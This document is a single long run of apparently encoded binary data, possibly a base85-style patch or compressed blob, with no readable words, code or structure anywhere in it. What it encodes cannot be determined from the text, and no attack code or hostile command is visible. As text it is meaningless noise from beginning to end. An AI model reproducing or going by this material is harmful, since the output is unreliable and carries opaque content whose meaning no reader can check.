z4&X2Eb@x!yR^Ifeqh|Da0ga}InkGjw45&}Po*ISK@qDZIHblPDS*vcdLgmTTYKXXi z4lYBk{v0d1PPBbLSU0B1Yp6PUs_6x2PvSEX+B6lkq7Z0HC_hcLKVHVm-xUUpkwQrY z4O4BnI@QkQh|$4QO&b9%Qw2?X0%-nOeEEq`zN?DkYWL*=pavWQCdz+@4g(YAuR{U{ zD1!qu;4k=16ge$7nj#;$k$@ZU9A%E8fj*-0YPIrP)yi)URepD<^0i}m`J2?r&mR+A z`3O<@)txGT>md&LSheyrwQ_x^@~lwhGeqUR)yf0oqbq-R25&j3Q{~e|(O8wDTF-m+-HQdWp(MvEcm= z^3E(%+cTpbI$E9|YOgfZ-Ycj zfVD>!UUPrC13TQvdf@*nssIT+Le)o+(7T8(gte&@pJ^b5s^AO^fioin&H@v4XTT)< zrhy1jH^QsH*BBNgS~^u;Dk>kQR=x=*fC=mC=_D|Xa?eoZ{Y2$jwerDO2P2jLlExge zjv2BJK(!f6E0VB8dF&?cc%x#YJ@whs>N%Iu!D=wsa7TFWDqLXFz%u zQaOYLpVVCg;T#4^1eEvb&&N*);R)ibWi$ZX=PfG!D#c1UZ{q&3)SOb&y>dkDWu4Yg#<#m$^3R zpuug**rV6dlw(|6q&0bH*b@WZE_P%iZy2nLQpC|Ej|vA6{EPzmPLFXl$_Ur{5d@zu z>pf_VSMOeYT?Q{&u)(RVc4ez@8`&88D!#zcfS}-<@D7lrNsy&msttigGT>fFf$Geho@g5cFNp@*YO-%t*_M;XQx*Wp zuPnm{g31L`uX$R~_;O(n4X8g0w1Es9b7cZz7&a6n0+nSL=jH5PzQcz97`Ih%JaAi8 zS;ST)JwPhtI2Q*<4~>JBEC6>7a*n;Y%Qj)$=o8&$x2QHlCW@%`=BW-4oh)*nl5OnK z5l7)<)a39wn?r^^YZW{W+s9`ZT*a|ng*9RMxNui%*itOYP-XM3o_@1;Q?va&PIH|8E!w=oM`7Xw^9x0$xvdo{_rMns5% zIv$bCbU=#+*byg_9W!?LDO`P{9r?NO3z9WmfJLpzIM@~mThnR{MWkyE% zXLRo`C^_46%rxff;^z)z}ISPBKjj$)MGzGZe|bAU$~iB=`Y;Oeh&f|v%o!u zSFW~xk=n4WjM~lMO@eWJg)J(zcmQ_@m!WDjCE66$c^$%Ml9e8OdESHISSuW+cImA37UUeKoPqEi4)3B0L}? zXe={R9Nl5zmO~|@w=PT7VhdbQAIj67t@owE)Vr2i%KXsB&(t^NmfAB#M9)Q zJ+iJPs+R}3mwz3WC>20Po7oV6&*QtJz_~(t@aXqs1Ond*8`^j!SRZX=)o_r)(EbG_ z2|j-#&pREHM0og3N5Fqh=Y%SEGe^nfNQ?JGx0s9Xk(whD0`*T)>lc^?dHR2bhCpCM zoo0u3PIkB%qUv*E3im|eFllq28h{Qp=+u^V6jPa4D8e2`O#P%AmGFLp%leAI)byE?DOB{P*?7Pg0?inT6GaA zhE*$B-YBA?uB~MMf;g~@?dQ)g_;VkB?&Z(-_;Wj+(Sq6k-v5Vze**(u$n}B%};w4k4vzzfNsu&M+#ILzQP!dEZ3GHk`b-~pXp)BYy z%>xA_Zg-B^ApCd{?|;b6NEa1HzD){$TMxZGuQS()F!{J-ha7KM$2HV0I(WY<+&GV0)}T&LFKxf!Jak>_UIXMozs*N;6hAbu6*DdLb5h2D=G7?!b~ zphf)$M^Zz93CaMA9kfD+FhDdF{1l#y6MrO_(b+pVW<#R6nj*$t4I%+Pva2iji9EhF zLrM{Q22d=6ZXO%TiLc?NF6gTm&~PHZNT<9um3wV857{QSH#L#w94EUod?%QtjzkzX;MQh@NX0Fl-RM=oE<|Xk2-*&|EaLb?76`Fk!b0 zwMDM1KtqE(be#54#14Sn>A#>m^^`2|M5c-buKI(x-ZpYhAy4LZ~1S=^ijoy^@+61XG zfJzl-k*6covJSa%n8vyd6QCHzc>nfDgNE1!`yeODzt>au(z}rm-Ylg{`0H$iUhMOu z$%s7R#CbkwMSN4+{I?X~h1oCh-b_HzCSxk0hFkNir z95{}YiH`7EsUtujCcSx1zAnnBAB5Jbw z?2kpp>nP@W)ObCMVxXm9lNhUX|0DRoJ9`3h?nFx995pR97I6d7jyR?pX=xc+O4j*l z<^Y|uk0cWfh~c-jaa3@`2zqNK2Y zQpImWFQf$Z_;s$CL^@MII))y)lycU{$+aq7N9$PX%FLF9Pl8uJk zR@N-kdr}etY48JC3}$63_LvQ+bh|7vd~iD#7<8T#t-8P`Le;l{&X|{>HPto(ACUXZ z|Fez6U4(w3k67DeZ&7-TPf6VMErT4QgjmM&8&tQpD3#nobfy#z70vS9$Tps<5>*2`X_Jr!~M2bZ=*sw~~D6o<_$@ z4j}Q&P5=!<^|8Lfbn;JHc_k0fAidLDuKh9rG3VUVAk4(BJOn1zU+`AiTEUo+4Q5(I z?3|c*cr_9|fnNEY3k4G=wrP2rPwMl)V63J9)#AQX_S8WuK@6J~16pV!3o2dZqhLXW zAMV9qP2GYiRL1`)`fc%iuXW@8+`>3~&8BRPlw8Y8`u{>@)V{QZR#D!Uxcz8TS5;CO zipA(~PK5mjO3v_9)L&6a*LdfFG5Qee_&c0x)B%5N4(B3|gvOu$lq&b0@!0}odof+YeI4KM&;jcmUnu;Cn+d*UrZi6-XXQxL#(=iPY0xx=z3{QjA7evSh z)k4zTfJQ8DL(tOr3Bwkj4H`Pk1FHg!yh`_f#M%WNCy{wrmZ6oK{S({F;~)XitYud&6Bw9hEmDxIdqZ8*dn zBa^hxW#P^rfQMZaowkaf2HKitgP6{6!c+{6hk+0vQCvEmD9Zgy!J5tafqVGxk(^D( zWv@1$^ZPK7u_vJ}Am$oaf^s^y5S=|W@i?o`c|20Cn3oGc!Awg6EsSBQ8p{H4TQFKa zCAbKEf&_`l5i~w~eq>^(r1TuTAc0LCw)ha7u9yaEs>Xq z1q^d3*F)GdxMs2$>nK( zm@ZI>yfBzcjgBmt{izqpb!{gE7%M}TuEfTfRNR38V=J&E*nQ)nlA$08*q3oRO4T3W zW<6DVwgN^VibD1>vL`1=m2^Jq3?ml#&kM1p=m=l3(v5_ODLAu6Tlk`&u@?EpjCSWi z!^6J7CJj&~#zIMI6>fwMLD?NpCMWS&T}l$p2UJpwC5lBg;RnYdD?Cjo`w1vv7Te4$ zfRaN4Oyvg{X z^X6KMxGT3f?zEwRd~Gs0?jIyg{c;Srm@+@dl(`;LCZa{0n;D)mrRni^T25r?YRZhD z;+_|I6CuTdXfQl&q@kQ39m+=R<4KvZFq@{$!(!TKUrulj#SelJ3Wh~`PwmV=il<}d z{oTrIAH$(x>Hy70uiRT~H!$5B;?M>^_|dhm*$*X`XqyZM@xxgK^?C*?!_x$_R{OmtL!}cX5^S7R6%rCaCtUX!vsD!MCYf zm+*NSgRmEkiCY(TpC|Tpao2U7;KR2D_KH@F7o3&06F)4! z+MeanyqqsV$$b|@t0h9wy#QQy(XXSq`qlxQM4e07duh}s&eVs6b3o1gXXH@5^Ui{I zUL=avqr9ln4O@uAh(fi5ZbtAKZ>K+;qhddO7qZw!2J_k-%6#D~!!dB5aHUD9wrTUV zZi8i&RyYPK$L*%}`4G)8@@gKPw6b@;dhI>hVZS45k!K?}WW1 zNOl(I?rPiNDqL@()%cr`WUa=bFsy|;{PH?rp8i`xm+I!gpW+DI^L&W~-19;<)x%k< zP4$ws2hn2Tp4cVn;SCPjWva2PnR`+&77uf7l`hymlgk+SbvSYHA0 zsp3F11Ag|0?r7CJ9sQg24l0<{fTpMJMvq@(?`vr2ZO@8BRko$nbNH{ol=K=`oLZ}} z)vLCZ;-k=jlfz>Xv<^$TgSzu2mI;^DWw0O}h_)a_0~Xg?b0D=KpiHU0S>cv-;J2$(pyaF%EnJJp$XXqlA&uudtfkKw;1# z3*M5x>Vj9y9!!p2@SqE$+f#9~=?%!z)q-cH;@C7(*cy^LVOANAPt`3D)F={w&$)_? zKNlnbma_`;cze176Lpmxfe0v?n9sJ`soO|Yjp9M$p$u}Rts@gC6@3025V>d8vqbwZ z5$&(S=cVj}?>j*Iz@Z?1L@KPJYqCMxD(TORB7OKms-#a54M}tEe28UnuA)qZK{n#C zwJK^-c0v0_zQ{p&;tUe)UkeE#%D0JzK8E)Dz`XolM87J%lBDFDgXlMEw13+wl~yyc zE*;q&qE!j54Um~|^8(SPqQ5MVtnu2Cs`UkUsj{VDOb!#J2f0^7YfB1D!$iIlo|AGJrL_fEonb{z6v9L(9Y+Mz(<@Akj=c%%0-Nr6as< zy{y|CcpE9A3@8Y1^ow2`bh@@k3w1yeiOLNKWt@r4yi=?nGDZwGzTHToYC%qs0Y|&x z7(j6cJcniJX@nav;1Uh^>>gskTWEGg93c3$48uUIKiyzgTl!*JaJ#~_@QyL#Xmy)9 zY!DFUz>+W*8v|?&+qjgy!&A&KYhwLo8q5q7s-cZ+PL1n!Tn&Xa@YZzMR9o67W|5b1 zV5mM(OUIRSYWc`DBc1i?L%rV>UaQIYKyF4UvTh2-kIbwJxwNyh_@O@3ZmPXUPXqW2 zRc|UxFYO&JoDyzCl5+}$>qIkKaW*x9p7P6lqHaMq{|KTi_lt5Uwet|~3#+gl+%4+n zCNXxx&q;>w)9l_M-zV(L$s?&4BxZ1^`v+hdKT(U;>ARxE=`C!elqZ2+yw}kCGNKX0 z_QdbiPG2Eip^XI^Pprd1qXD&Zp=m>LoSVZUbo6hvog2UHhkN}8+BU~;JN-1<4$1St zF!`z>O6dD%g`keUmk6s!2D#GD9#`4h4BxVlubUXhB8=njP)^{pQ=QY`{}#8-PWiB; z{rq(DVN^$+PCf|P-Q(sHFlPehFMEby7T*wUeaQP!-@pf^VaADRAKLq7%9T4EKHOwM zyW9?JsT`8+5I;V^0^J~JODiSTX95|O-3O}&`U>BB`FmI58#w_T(wxe6tFlqmk7j}M zDvjjIU^?RNX7^qKq4^yWp3QF#mrZT%#L6c3*=5Ia+=-^`rD^8TAGv>4-T`VayXSm1 zHsxrrL319>14!vfmWCu^IjboZ871oxr6G{2)E;i(zZ$`SG1X-{B~?UTmD5N=Mr-K5 zGu_FlrC1W&nEbwgDF-g2jE-LJ`6?eS-$0JF>J>gyEwtDnVn09BrL%c2pe-rxfd}I1 zq?IY`W1B#nwR*6{XU!tq=`DZb$g4v~hxjHO_Z&G-dgx>H6bCqrkoMi9%1pWL-0DK@ zh0|XC#62`H2)|uP?;uE}CeT;?jNbnuI;>rK?Eo&L zt4FQYs=x7WOY2f}jJbI&C{E6V2L|yP-1zagEb^Qn4PY4oR{-OaI~87WE}g@BNnTCh zHaIYpq7iWSiEvcQrfpr0BP)Bsji1^ zL`v~&4Favo#=|X^vhRjVwvD_w*?TSsBR@*GIw{kPu+Ja;jcDtaSfr?8z8;_1JX~6M z8uReJgCys6nuz9A!{xUz8uVWo%|k z*dHJUorrAnuut0e%Kd6&-NpbG!&;f9-ED8z(4(#-n@jDNjFmGd49o<752uX4$JB9ZW@m4@Ih8q&^r<&El!+MCuot zc-aNv)E+!_xkzmiskeqxj~u6(9}ua37OAdq>Zd$)rbzXP)H}neTX^btk$RU%ofA%7 z$y2jM>SU36b2xQ5Pwg&J^F-O2YK2IBRis`MhWU1$I$NYJ6{(T_Uc*ymk$QLMcFjC>m`I%>Qg08}JdCHNiquge z^`3BQZ=U*f3&%zuks6`r;j)aU{#B&z6{+`!Q+M*z$3*JeA~n+P z-+AgiBK2938fo_rJaw8#Estu~tN#^}z|Dfj(IT~^bG!HQvi(J>O{6XkLp7799^cLT zJ5;2Wg;OW-)K-z2EK(l`r{?q2^&&M;&#@8d?|D4+MUlEyq(=Ii%2OW{sjrFDx#61I zj}e~dh}2(Fs#pIdzCkepnfL#fJaZEE`hOw`Dy!*7fy+GoWgGD)IOMg&(AEj}#ebEJ z^jAB0`ngDVbqg9FK?YzvJF;S_`F<<%wQmslW}lc((GL=B?L;25RT$G&KHBPuI&4_| z^YpJ#H7P;kKv7M8oyGGhu65XCQFdB9h&};v7B%#IFHPN?MqwN9U`M2X4~LDM${vSe zEJ0oNy!ANRjRQOjtT<&g*NS~jww1ghoitI_=z3@ZIGmz?5``!$tpC5KZwZ{dj7+M~ZYRCWhak?G4_(P%>(cZ+RtWdskk?;A=`9_F*U#?gCbe+ieKx{riUw4SS>nJbi>t~cT22(1Iog&{8YQAnK z=2P@)yYoWr?$bu&61!IPb-1W!66L`#uS1qVnmSNxcBTo2lHX~>QBE()ogJ#X5(RcoX${EXHf>cICJbYMhYjn!AIZF5Mk53=~~&(a3^kjz|QH*IiF4;l~dpng&6VA<5* z{)Yvs(2$OB8YvEn>0)u5ZBvEP8|oaYIs;dbHCU8yg2pG%3^ojjd9ZED51H(y@7#$> zePH#PGzh{$;}YIN;Exehoc0^K_d2?VzP(k$X*dT>sijqX`oH1nzd?E!pL*m98n0|l z(}=5oV`zqoquzz0-kU|eyMp1N60)zNzZfZbd*ObR#>%j*^6CfU0}PeV){#Xvc3nYz z7E#|>qCQWgKEO$|wMW2t=p8{@HzPxswx$D8&P`6BEm3xqD7%u%Vji52vVb5evx94qWsfQ<-xB+ zS`U%7Bq~kJXZOGOSbe=t^kasoJr=$lBF`q|0eq&YIt;v)Xzr#27Yuw(M7hFe;`w}m+te%ROrw{{)ns$`5L5B#vnXE%l?cTfDmpG_{ zY24T1n-rAn+mwTN(Mt9X)A7aY(SE=H%Z^2{eqx~6Y$i1zRz7~_^#`Z{p(7Vwa`V&4 zHUdSWzWh+C#)2@jdHSJm6XQ8Ty1gB)i>*-1)5bTi3AcGN{A9Q$kEcp)PKb(z))ki@rp3Q1u?90gqj%f)&0TeG7gZOE_;eFr3 z&R19S77Yrpxe<@8?7&gdBeg&aa+c|nMX=iJ26H4;-yPp}1QBzH(;46fpXTS=DclfP z$7uu4=QYmE4`PcyCX6GD`#8!C^Rp$VB?neb zMy`8Uz0=tj+*@w0f%!2jp`KUf8WhAYYP*LE9_G#zt| z_cR6J-eWo@Icft1n7ud#v7I#N@HT%-1Jye>U(%dNJj4r~#pdIsL31_;nY5});4sSI zY^K^Jr^Uz|X3LC|A}f}?hJOhh@)d!lqg!j~^b%dQ3*a^bm)X84nJfz@w1JLXj9ad& zFP|SFzK;x{FN5lsaHoE@>2U3kJI%A~Au~dS3$S={DP9YIYBhJ@pCD zM7mjC6AJag81%vzhyl2~Uz2CwaRkNsr&1djNyC8AAisaO#Afp0U_aAw_3l~hD@Zl* zhC!X|kot;f#-G^;2<*^daQK~V!Yt~E4s=HcYTapwb;IWedQel>uf~IT(4kF@iqy_L zI~+qAs0|rS==6FH3A+g9CGR+H2Z}x05o5qfQ40JBVgwxbMuY`KGdBbhoyt81`qtNO zI$SC_e2JI9TMJ>^n2SfeI3Bo{B1Nn>(wH!kk8h9S`|Pr}bn+k^`-ngEVhvdY z>Kp@Wf}fgIX$vILFRPL(SMGNYumQOlh@w#11JOirZ5ob=uQTt#qAsCR>d%5d_{3 z^?5WF%^Zt2oCyyJ&2Rb}ijy&w&+cN`cRMZV`XPTKd3K}hwPib$SII3QFK918oQyW_ zR8Wl5K)1f6b07Xj*0hVu3V~$Lv7q$u25=;~67L$;AbpMd=Ci zE`USN+2;I3XS)WP^A~6#GFJB(ZJ3ulTGmPrjv_cbH3{bYeD}W9{7hR86>eWVnir-J z8lrF}FMN)r+NlYbK8!&Pm2Txc%fBC=1V|WcnnJV=Bol=Akr^~v>e4ihl2(GU23bKS z_SJ2eA@~o$`Jm1i00Ii@Q4k12I>f!bl+_kO^fsDR z=*LFkkW73iXxv>({cvR}Q=vG+me&avn+BedGb;As?v5a4aRN5&sLLq(u4pSSAXK@N zSxaw-06Zn=!p#a-hEnuw9a6BlPhJfw5lS${nJwpSWiK-H!#4}-1?O5b5bY#-3jLpd zkH$-wtLkDTT_fY5iuCMugmrJa~)Dd;4vSu+H5Sn3`WUG({oDanC^rHr54Czf-$i8pFqvZZY-wNx@PHX=N_+h;shUIXv*g;^^x4?J z1rNCs4%NxEP3eB$m%{iRMQLGKIsm8G&FpUwsDX0wu4B8&!yiB3_(-}OTwED+bz>7D z4QyeTe0M@kTekQgKnc_hzCRo=$jT0-QO;ZM*>}0Tt5GF&2lUiDt=6J6uQ3B+&!?B? zY(fTmSZ_<jucs~lG*#pNTGe^4&;|~NArddVo-ct9)RV;i-VcnZ zFM9(nEeM9V2lR)}i6d(QN$gpy04osC>qON#hXvP&42Fb@a0`!P#fW6$^}n4+2UXov z(OIm=$CS;T#QJ}OS@%_(I(eB#zvu|Ej(>G-w6m;=yqH4dFG~J(em0PI#eFswYd2;H zE=9xafahz_I3qwiRm4og)}W~KR3SBie?R6>C-j7Wa+uZwFF**qP1C0B15pwIJqEu6 z)`Mfpt!J-q#x#uTJ}*yYfu9xR|3F1np_)*|V$Mh_^}$x?JDd29NV3*d=?~yHyAZy( z?D7vd!U%i4*%0infW2hYw*c;KfiK}@&ZktU!l=KzZgbh#7g3c)*&|i1pecfYLl3=% z7xs;T_a+-L^Rv*S2dTlGL+Bgb`JDC${a(+1yXK>9hZbB ziG_*DC3bpbOX=3EOnS?Ow?DLjQcryjs*0bXXWBrdg)^SRfAmZ{4}a_RUwx9Q(Q^7Q zUthOIPcVNBY)AF*hrMDPGT=6=&OZIvH620sLb*gg7cX$D7|#Esrk5A+$#~;xF&Qlx z?yDU+>!no|TwXXiL)JCpl`{l~FLjgb?VV*e?Qmr%6H^_g+IiiTabO7!Q_VaukoDPt zPe6c`J2~n1_S~DLSwzFw9TTw|{wDBwnQ^)+x1g2kJ!~|*pz?Nt5>qPnx|8IGjBkC+ zsj-vwRpc)l`vOum)q7ltxR9ww^=390x*hzWZ&<&rHH$XyyZ%@CP!!1G1(gilnq(RM6bzRpc}y?(vGdAukOfKsiGZJ2wGXQjy!W< zuq+mdZTOb~$vo{8ascw}`#sfvihQS}ou~H_?M#1D(9SGG z%!2)EWi0KygCN9+rycn!Rje1Zv*_n1ZeY;Z~KjImmBWO>N6c??y$RjB*EUIOMIrhQL#C;Tby{DG*vHB!WH%En`At;S<@f z>HtF#-or5DQ7vjuO92Ebrt@F$_dvaXr61D4@|0acBcm_Av^_`;l^7LnJQlq0FT#Zr zr~K&NMP&zbK!6n*<0#@YPq8T(beP8T8De}kS=u#;WT@+9K>!P9Nm1hA7Kd&JRLzdT zJM1NO6P4cSvQn5%b_S);&~DZ0Bv%Tq5!ULUq`qJJ9XbJQnr&!alAp`cf`0^0%X z0}}s%_f=b{cniC6Z%2@4fvsc&60qRRXP+Y@usZNVWPFVT_q%bl5hbnAw_+{5ihT%? zml?63gNNY$$F#qGgiN(aWd?e?6QU^lRShrG3+5Kq1DY7rtY?ox&%t^&;qeOUMP1$a zu+<4JwEfsg&=Z5J&<`3*_TYhzAol-scuoyy1xgig#cbbaq}^)CN}8*^)7^5 zR0;b2W{-hrbLx8r4ePOuTT zX9`>W9uPB{6zobq+YPJ`73@Oobd*-vjU0u572jUMAfnJza|H~$?4@jHg|qf+EB;o9m8Pv5q|&_*-1VTL;DR{RK*WJULkF+1R%@s_a|6!LevrY%g6lB zK!ZvS_o`gP z+gc!+{-xQ-zuadWfcb<;VA>QuZAO|4fA`MXm?(Xa=PQID?49L+#?#=;+v`B=?+iyy zvr`(kYnDUlKLqwijnlO2(EL8LE#;qT+MK?pHPAL&5bK;i(;Xowjp4@LXhZs;NUv06 zMEwb`i6o<5|0=O@NZS+f5;R`Te>T3AoT#bc=)npi<6Bg5{>qO_0V(-wD8vtY7*DXD zB(CM#3O#+=-ksR9JOMR48ESF$lz#m#T4?CqQv(aI{wn&d=>JTAy!!sgPC2oW&}ZUP zgT8%7s)nFw(6`}@rg4M*sQR|rfS>YhH8iCU;hWr$sHLeI`L3j0^)yxNNX!g<#4*9N zQK640c=y-I8n%d7uP53AsdGoa^p$m3h;OSdGrmss?1=m0z-}QFDU51w<3g* ztC78ln*y7FwxX|qwi`D6dj!%6!`xsYPG>87g2uQ1NV9M45dcc}06=#}0mFjESLr(_ zW+Yi@aNQSNzowCbt;hl1gyDeg7-!dEho>JKokir(PaaPrg8W`xTJeVQT4 z1dW&SVs8)>dAR1LhCnHXvOH)UqQX%SfnyHAQ5=Dzp5T}p3rG9Q;3W;7V8Z>cb4X@H zaoJ7?QGd#wn{WezPhT;G3tgn(@J=?w$X?`#K$m3uWy+Ew`=%JET(cSn~>vr%As^X z9;E9dY7MLm+1l&0t~4$hl8r>Skro|pKWHGH8qf0xV<8hFGg-k(>V}@bLb~ zGDK^Xn$G~GH}ZLuP`;Tl`LK?_%l7uH3|xyq#+~%MrUv~rPY97F4_tLT-f7ZF&s&up zR%KK9!4iwpT7GEOovvRf0bAbQ@^39}*BopKQoe+ZJjHJ*KlqC~XW1>~Z4+kQ>9)Wr zEU(E@e&|lutlOpMZ7H?h#4KCNdbFFU93+mR90Bi0b;I={?Vpch$1tSr@}M-frkhsd z${t(XEkWZNGo4j5VA7$8?}Tuf45`{$4OZi>Fa*_3H1!Yaj{V zX5$5>`o84|`O_wq2Q@v5H82@?8WWMrj>OfZX0e*u?jM@hBs~wvtjb=3jNl@uq_;jx zo=*i5P#^;Zq_;lrJ^#)IeJ&uSm83yG3~wZlBBkH_tMTkVe-bLwlH+8ioYE|AivZKe z&FVI$n|q|9|L!qJppAwGeE=_HfcEPBc(b(EWx}zgF|$Fx6F*7U>eV;njc6htvkg`y zGw326Cz{X5M=1V`I=!!avxRAvS5u(BIsiPV$KyRi^x)NG4Z(aNnPjT$dnLSh>>+1C*1=x5Nl?L}gDzh%fK z`yOvWB18|)@cvFIsAo)w(fC?KAnrh_L#` z&0$NhbL78*#y`A}rfIik-Jo4f2g+wlHi~akzJW>z)*2=fe=SPk7s;vM7Fbe(#+K*B zn2cT{Y-$FCWi63mQ)^V!_=6&9{Ifl4Do|^Wd(u2>XdThG5}}9}N_epo3^x^i0WW`w zc2bC2fR@DPQ2UUl%kxX--_h#s?^%$M=ssJKGkxW)M{oZeSGV3H!I{GRl-8Am+2esh zjLldZ#Un!vn5WWJFrKe65rziW`uLm~LE|^ip-+kpu~2OAGWi|aRchoB^jv|2L^U9*TbJ;VEN)4hDFh@UWU29cI5M)41X#I zb(reh&{c;ayebC5@9--GArtRm2%G8mX+XFpFVYmO2UuD4qX-1BA6Y&OMy5ZPeqv=h zMMpx2RsYgh(ZAIiGpDD}Z;b2KEvPU!WIP}gnelB6zWJB_RSXnNuv=*FME{81SbGqZ z;4vh!Up4Xd8#J#enYLF;^QVWZ;~MhOK^^ ztAQ>F8sGbEnnqgHSdI{RNoDW~n$%d?wD8=Z(Fs6-#54@&mk1#iG~P~->)&4mS>jY8 zj!HEr{t^38>dPML3tI=%S7%JfN&+E)BOoe2B(7{;rW$1kPlaIAg%FkF;Zc+;TL?vu zvWGCA95g1FZl|x$ig$j z4c8!dH;ZqfHee|9jX~gq1vBK5-S7@0$G6g}EPNx1vk`3n=fD`K<#H?Zu-^L+J|04O zioFCEG^8S^C$J(bJ?!3OO1Ai9Etf^eHC)KbE>abcw2UYsU#-!bHDzp3XYgbC67PrF zKWt*viM%kI28aU5J@quk$A|I3ZYQ6;2&F8HtIBri@w%X~5@{4;j)e9uBzD?I0Ow7v z-ndiAb)l!@Y*&9z$9b+ko{l1S5;xFh!?I3b*Fz_|WzDsiN^C8E?Ln_A=r!JdD$KW& z0Po7m5P-w=x`Z|uAgtEk;E+|&G-KM5w935;lJVj`Usm9H>6?VqO-Kz-MTnMAt%nb5 zECR;IW0N_iC9pG!D#~HZj0Z^6HxPu%zaXyV?abTD6qxiO@btz#(oYeyXer+uViqlN zryuFbI9aAP)0DtvM_@s!dOe!vF)NRw#=IKN5rO^aSw=Vy8b9Xg(JMsMoKffNC(t*a z=6uD(nMWiKr}Ra?u=vbDQ?qM|T(SwLbgel%ExvJxj@XFx!(O{j2XCcD_$t5!yUBGC z`r%GvcdQS&p9e03LxSsTd&zo;3_3e}7S3}jwXE!w4!9W;k(+}!?7-<I4}=CSMx(K%*w(D;`p$-VQ6X?Z&V_Tr&L^%zFq&$V!C zUoeJv#-$jXi3JzexQ6O>IdpYSQ|n3X5$fl#( zwR9-No55~Hy-HnRFhTJ-pqQV^E~8{>H1LTEQ86Iml57mA$KnkuAFX~r#XmaRfMt_Z z$50r=FrA|~kBj)qxHGW@ge2=aDD*CThlzjwVk79n6VSQ?D!Ym0H8J3aeguaMejKWy zAw&3cD1TnSpE>+FoIfw(&k_8Y$DgD4^HTmS;7=2Oj^)qG`P0Imh5Tvb&k6i#=g%wn z)5)J#^5mZ^zdgTe?G*YUj9`0)5o7n`SX|j`78c>oIiifpHK1U z)BO2c{(P1{pX1LL`1AMt`4WHrkv|JD7=jX8&$IY-tx_PaUEp^)F!h1qzT^ zINDFuzN^WZ*XVdC?W-Ezu#H!0&#R4ba#ib~)o4}~L<9n)ynydICwmrR*Lj6v$sC@k z|5aaXI!iB;6$|{@Yh0sb7@fiA;pIOWtE)YmUGfL;!gJd->8`%WgwF8eZICb_v6`{B zybRC_mh&c-f>XJ4$iYvszp&e%#d`hZ4SnxzMv9SF_l_4&pT^=Y}@opHfP3u7+*-^9f@` zmGl1OB2*WoF!m-gqf42zXcpl1O^)4MLL*Q&4roL!^N~O%>4dT&tEHX)8;mCOcbO!! zWwPJH4(iqMrgNi(gcvLcIgQz=El&;V3U4c^pKOHq4y#M-_rBsgiGQI*is%0ZygJm6 zOpqO5mnwYV=CX1Ye=o;-`Dji=3qALOh~_KfB1ANsy6I4^%7-Q;)#)3T=+M=UQ+oHT z+_`v+-FIEOy+q^m{XBhQi6b4S>FON1J&v5c(n`a49JrvS4PCc6HKZK(fMoXn*hGVM^Yz=dfKdmy$9i6l;mX2KQ8 zo`SH>kjNb)E9i~peN~=~mQDSUOR7;dtdbc^s`&l|jW)w!Ur`*$+ODveTOQ zTZeRktp?vWhYsh^mJM-CJL00@4pQ`gY#3k z4uGMnhzk#;tA8mzLfwUbN9cS^&vu=GA_BrsyusE=dNiwIYe6*RR%Pl2#aRd0CE(>V-#a}nV=9|K%8M@E2g&{Zz}!O999sjNusT8Lom zQeN`mtTH}%ZzlsA#Rx&YFl`V~6g6nMCE`@JwD4q5$GDRi6$^W9a|HG`>HUYo?!z9K z-N#G**sv=b99}uo;Wa}&S_FEL4dnF%H1F{gH-d)bR-`d@d^^Af1D=Mc&U|^hac!Cg zT5~fHsR?Lc5}`>nw@Z$U^E#*1&J&&6IsDcSY)8n;c{Np}KEtIymQ*i1&AAeZj}`Gb zD->%&^(XjVq2KQ|X+Bm6XO;i!^J#;3z^-*j){;*U)C8kV#` z_T!t|2wUw^gR*6dwL011vuLeV-GRm=Z%5G5UYqF3!fh{xcxZIw)WGZSyIssXE)h8m zuI?5^Lu;USoB_Ynqkg9%#ZtCUCsNZbWgQ9b)2X+&Acm9RCzK>BlMT3%cXAaCer;sn zlhuJwKJ~z#ENiEMKUvmJ15cxV+P#R#nBc8DXo1`f!x+v6;B6Zm;jmDE>^m*{TdEVX zbYl{PHog-*b6w6 z6SXLxgnGnCkX&Y|#wwber6U%fJ0`)MW-l>grsJp?eV|szB$mrkUPj#!kuEfp+{Oux zC+y{+!{j&uzaSNNsNuu})*lg&imid6%&GLwQkcVgHXO!X|Bt8vb(|7$D&c zLNtoXC{cq!jmAr2xMW}kW@LgvMeqW|MiK86W&o8-a1vp1n2N2fwzZYMwXgK1^oEF5 zC!i2SA&6D1Rby}NajHgbAwkQ0zqQZIWCBsq+V|`K|Gjyh%-Lt3eO-I)wbx#2?X`VO zfW%Iw!c*SJv8#Q#v+Pwjo0Y<&1kq$ z``vMwFS#R^Cy+OP*B8kPPpDe#$XnW19`>bnm$}=+p{mzmg9aj(L&n|Ui;TL%m)j*D z_6DZ8P0Lv~*$3%iXNU}QVqRtT(v!`J5b?Za$GfXWEI!&@bzR=F!HBrS_vmWPO)kR| zr5TA$h*^REOY?9L_Os#!S=8_@ybU>yKB!L?d6r3XfKXyu&DLkL;LWRAK6J@-Y=&o# z&wK_@Rp_Hyq6-$it9(SG2v3oAi!gJ>X7#=A_qtt5)?zAihc{dk4SQNE z`vl6|Rks!`cJO=bvi?o4nw|7o=dX#XN8qnaPis}5Kp&25N8>L_iHWUJU>g;*X&!Zl z>e$>Rw{Ns38O|;6oRG8mCGeeP0<3e5l0b2-geExPLj`JIfEN|`dCfuKbZ8Tdz#t)y zyhFafe#d8%@7=h8>gHXgEOg7*L)2RK5bH$8Z`#`Du{$ltc}CM3tPuR>H|-K1u{pQN zE%rpbqG^!f;LgWE*@mOqX$rhxeN%_nMG%G`Zn6w0+{KHG^-T_G zV%W3NXO63u?-*5h+WbuG>Ec0%h`HL?3`o-8V}nbCllxp&i%bMRe<5}joZOeP%b!y> z{utW2{Aq#47aSph?4f_MzBqb;_uQ}c4)2aF8s4Jk5t=XX#uw5?fz{`Ndp^UI0=nD5 zi+fOqF(`i!P#A==#dgMb=`Rqe#SG1YwgoV=NsN5tOAp9vsJbe>Ljr?=w!?Jzaxa3O zu}tN*#dD#+8N(q$jz#|PjD{4jb-qD5pXA}FWUDV1ySMtLPQf)SRPfY;{W%74p0zy& zlgWCY+`l42mni)6@*YF>*h8|^-e24*4gNO_-64aCc+7!VC)Z`?Y+|mpu7tiKn{bY~ z_P3Z8GaGI$BZBn_*1%$7g_rHgZy-(K4ywpG&n`vsbhXHd@Q14TcFtt6P$gMO+@3d{ zDU4b3sxyTzOLCI_@OU`#@c1J3VM*To;FK2Y?hRk86CQiG37vBK#A3!#N!!DdibKon zSw`azWv(7(WnW&ab}Q*Xc>JNQ(xyTx=Q)Tq%Oe!PXqtg0S2&F7jFXLrjO3Ra(Jdbe z4^rQ20V}JfPoFds)nC_p7%E$0@&9!xJk-NXIvA#>@40TX!rDZr1Yp|Z0CZ^TH)#B|4l7anl 